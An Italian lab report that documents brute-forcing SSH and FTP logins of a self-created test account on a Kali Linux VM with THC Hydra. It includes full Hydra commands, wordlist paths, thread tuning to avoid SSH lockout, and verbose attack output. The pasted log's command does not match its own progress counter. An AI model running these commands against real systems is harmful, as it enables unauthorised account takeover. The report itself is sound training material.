

Authentication cracking con Hydra: report di progetto

Ambiente operativo

Le attività del presente report sono state svolte negli ambienti SO di Cybersecurity "Kali Linux" su un ambiente virtuale VirtualBox. Per le operazioni di Authentication cracking è stato utilizzato il software *opensource* "THC Hydra", o denominato anche come hydra [1]

1 Configurazione e Cracking SSH

1.1 Configurazione dell'utenza di test

In relazione alla configurazione e cracking di SSH, è creata una nuova utenza di test `test_user` con la password `testpass`

```
1 sudo adduser test_user && echo "test_user:testpass" | sudo chpasswd
```

1.2 Operazioni sul servizio SSH

Per le operazioni sul servizio SSH, sono stati eseguiti i seguenti comandi

- `sudo service ssh start` Per l'attivazione del servizio SSH
- `sudo service ssh status` Per la verifica dello stato di esecuzione del servizio SSH

1.3 Identificazione dell'IP e test di connessione

L'identificazione del servizio IP è eseguito tramite l'esecuzione del comando `ip a`.
Dal risultato del comando l'indirizzo IP interessato è 192.168.1.100

1.4 Operazioni sulle Wordlist (SecLists)

Per le attività di *brute force* sono state usate le seguenti *wordlist*:

- `rockyou.txt`: wordlist in formato `.txt` presente nel pacchetto `wordlists` [2]
- `default-passwords.txt`: wordlist in formato `.txt` presente nella collezione *Default-Credentials* del pacchetto `seclists` [3]. Questo pacchetto, non presente al momento di primo avvio del sistema operativo Kali Linux, è stato installato tramite il comando `sudo apt install seclists`
- `Italian_Pwdb_common-password-list-top-150.txt`: wordlist in formato `.txt` presente nella collezione *Passwords/Common-Credentials/Language-Specific* del pacchetto `seclists` [3]. Questo pacchetto, non presente al momento di primo avvio del sistema operativo Kali Linux, è stato installato tramite il comando `sudo apt install seclists`
- `probable-v2-wpa-top4800.txt`: wordlist in formato `.txt` presente nella collezione *Passwords/WiFi-WPA* del pacchetto `seclists` [3]. Questo pacchetto, non presente al momento di primo avvio del sistema operativo Kali Linux, è stato installato tramite il comando `sudo apt install seclists`

1.5 Esecuzione dell'attacco con Hydra

L'attacco è stato configurato come un test mirato, nella conoscenza del nome utente `test_user`), notato a seguito di una precedente fase di enumerazione. Questa scelta metodologica permette di ridurre drasticamente lo spazio di ricerca combinatorio, focalizzando le risorse sul cracking della credenziale di accesso ed evitando il lockout immediato da parte delle contromisure del servizio SSH, che implementa nativamente restrizioni sul numero e sulla frequenza delle connessioni.

1.6 1° tentativo

Per il 1° tentativo sono stati eseguiti i seguenti comandi

- `hydra -l test_user -P "/usr/share/seclists/Passwords/Common-Credentials/Italian_Pwdb_common-password-list-top-150.txt" 192.168.1.100 -t 4 -V ssh`
- `hydra -l test_user -P "/usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt" 192.168.1.100 -t 4 -V ssh`
- `hydra -l test_user -P "/usr/share/wordlists/rockyou.txt" 192.168.1.100 -t 4 -V ssh`

L'elemento del comando `-l` definisce il nome dell'utente interessato all'attacco *brute force*, in questo caso `test_user`.

L'elemento del comando `-P` definisce invece il percorso del file della wordlist specificata per l'attacco *brute force*.

L'elemento del comando `-t` definisce il numero di connessioni parallele utilizzate per la verifica di corrispondenza nell'attacco *brute force*. Per questo tentativo è stato impostato il valore di 4 connessioni parallele, al di sotto del valore predefinito di 16, per il fatto che il protocollo SSH blocca spesso connessioni notevolmente rapide

Wordlist	Risultato dell'utilizzo con hydra
rockyou.txt	Del dizionario di 14344399 stringhe non è stata trovata alcuna corrispondenza. L'esecuzione ha subito un'interruzione prematura, e sono state analizzate 64 su 14344399 stringhe.
Italian_Pwdb_common-password-list-top-150.txt	Del dizionario di 150 stringhe non è stata trovata alcuna corrispondenza. L'esecuzione ha subito un'interruzione prematura, e sono state analizzate 59 su 150 stringhe.
default-passwords.txt	Del dizionario di 2875 stringhe non è stata trovata alcuna corrispondenza. L'esecuzione ha subito un'interruzione prematura, e sono state analizzate 84 su 2875 stringhe.

1.7 2° tentativo

Per il 2° tentativo sono stati eseguiti i seguenti comandi

- `hydra -l test_user -P "/usr/share/seclists/Passwords/Common-Credentials/Italian_Pwdb_common-password-list-top-150.txt" 192.168.1.100 -t 2 -w 5 -V ssh`
- `hydra -l test_user -P "/usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt" 192.168.1.100 -t 2 -w 5 -V ssh`
- `hydra -l test_user -P "/usr/share/wordlists/rockyou.txt" 192.168.1.100 -t 2 -w 5 -V ssh`
- `hydra -l test_user -P "/usr/share/seclists/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt" 192.168.1.100 -t 2 -w 5 -V ssh`

Wordlist	Risultato dell'utilizzo con hydra
rockyou.txt	Del dizionario di 14344399 stringhe, l'esecuzione ha subito un'interruzione prematura per causa di vincoli di tempo nell'espletamento del presente report. Sono state analizzate 3726 su 14344399 stringhe
Italian_Pwdb_common-password-list-top-150.txt	Del dizionario di 150 stringhe non è stata trovata alcuna corrispondenza.
default-passwords.txt	Del dizionario di 2875 stringhe non è stata trovata alcuna corrispondenza.
probable-v2-wpa-top4800.txt	Del dizionario di 4800 stringhe è stata trovata una corrispondenza con la stringa testpass.

```

kali@kali:~$ hydra -u test_user -P /usr/share/wordlists/rockyou.txt 192.168.1.100
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "prisoner" - 1677 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "prescott" - 1678 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "pizzal23" - 1679 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "phillies" - 1680 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "phantom1" - 1681 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "perfect1" - 1682 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "pasadena" - 1683 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "optimist" - 1684 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "monkeyboy" - 1685 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "metropolis" - 1686 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "master12" - 1687 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "kimberley" - 1688 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "junkmail" - 1689 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "inspiron" - 1690 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "hhhhhhhh" - 1691 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "hellohello" - 1692 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "griffith" - 1693 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "greenwood" - 1694 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "golfball" - 1695 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "forester" - 1696 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "euphoria" - 1697 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "england1" - 1698 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "death666" - 1699 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "cornelius" - 1700 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "constance" - 1701 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "conquest" - 1702 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "clitoris" - 1703 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "cartoons" - 1704 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "buckaroo" - 1705 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "bluejays" - 1706 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "Alexander" - 1707 of 4800 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "volunteer" - 1708 of 4800 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "violence" - 1709 of 4800 [child 1] (0/0)
[22][ssh] host: 192.168.1.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-17 13:45:37

```

Schermata della linea di comando con il software hydra con indicazione di corrispondenza trovata per la stringa testpass

2 Configurazione e Cracking FTP

2.1 Installazione e configurazione di vsftpd

Il servizio vsftpd, installato tramite il comando `sudo apt install vsftpd` è preimpostato a rifiutare l'autenticazione di utenti locali. Di conseguenza è modificato il file di configurazione del servizio `/etc/vsftpd.conf` con il comando:

```
1 sudo sed -i 's/#local_enable=YES/local_enable=YES/' /etc/vsftpd.conf
```

2.2 Avvio di vsftpd

L'avvio del servizio vsftpd è eseguito tramite il comando:

```
1 sudo service vsftpd start
```

2.3 Cracking dell'autenticazione FTP con Hydra

Dopo aver configurato e avviato correttamente il servizio vsftpd sulla macchina target, è stato eseguito un attacco di tipo *brute force* mirato al protocollo FTP. Avendo già identificato una potenziale credenziale valida nei tentativi precedenti, l'attacco è stato condotto per verificare se l'utente `test_user` riutilizzasse la stessa password (`testpass`) o per testare l'efficacia delle wordlist su questo specifico servizio.

Per il cracking dell'autenticazione FTP sono stati eseguiti i seguenti comandi:

- `hydra -l test_user -P "/usr/share/seclists/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt" 192.168.1.100 -t 4 -V ftp`

In questo caso, l'argomento finale del comando è stato modificato in `ftp` per indicare a Hydra di indirizzare l'attacco sulla porta predefinita del servizio FTP (porta 21). Il numero di thread (`-t`) è stato impostato a 4 poiché il servizio FTP standard è generalmente meno restrittivo del protocollo SSH riguardo al numero di connessioni simultanee, pur richiedendo una gestione moderata per evitare il crash del demone vsftpd.

Wordlist	Risultato dell'utilizzo con hydra
probable-v2-wpa-top4800.txt	Il dizionario ha riscontrato successo in tempi rapidi. È stata individuata la corrispondenza corretta per l'utente <code>test_user</code> con la password <code>testpass</code> , confermando il riutilizzo delle credenziali sul modulo FTP.

L'output finale di Hydra ha confermato l'avvenuto cracking con la seguente riga di log:

```
1 [21][ftp] host: 192.168.1.100 login: test_user password: testpass
```

Riferimenti

- [1] URL: <https://www.kali.org/tools/hydra/>.
- [2] URL: <https://www.kali.org/tools/wordlists/>.
- [3] URL: <https://www.kali.org/tools/seclists/>.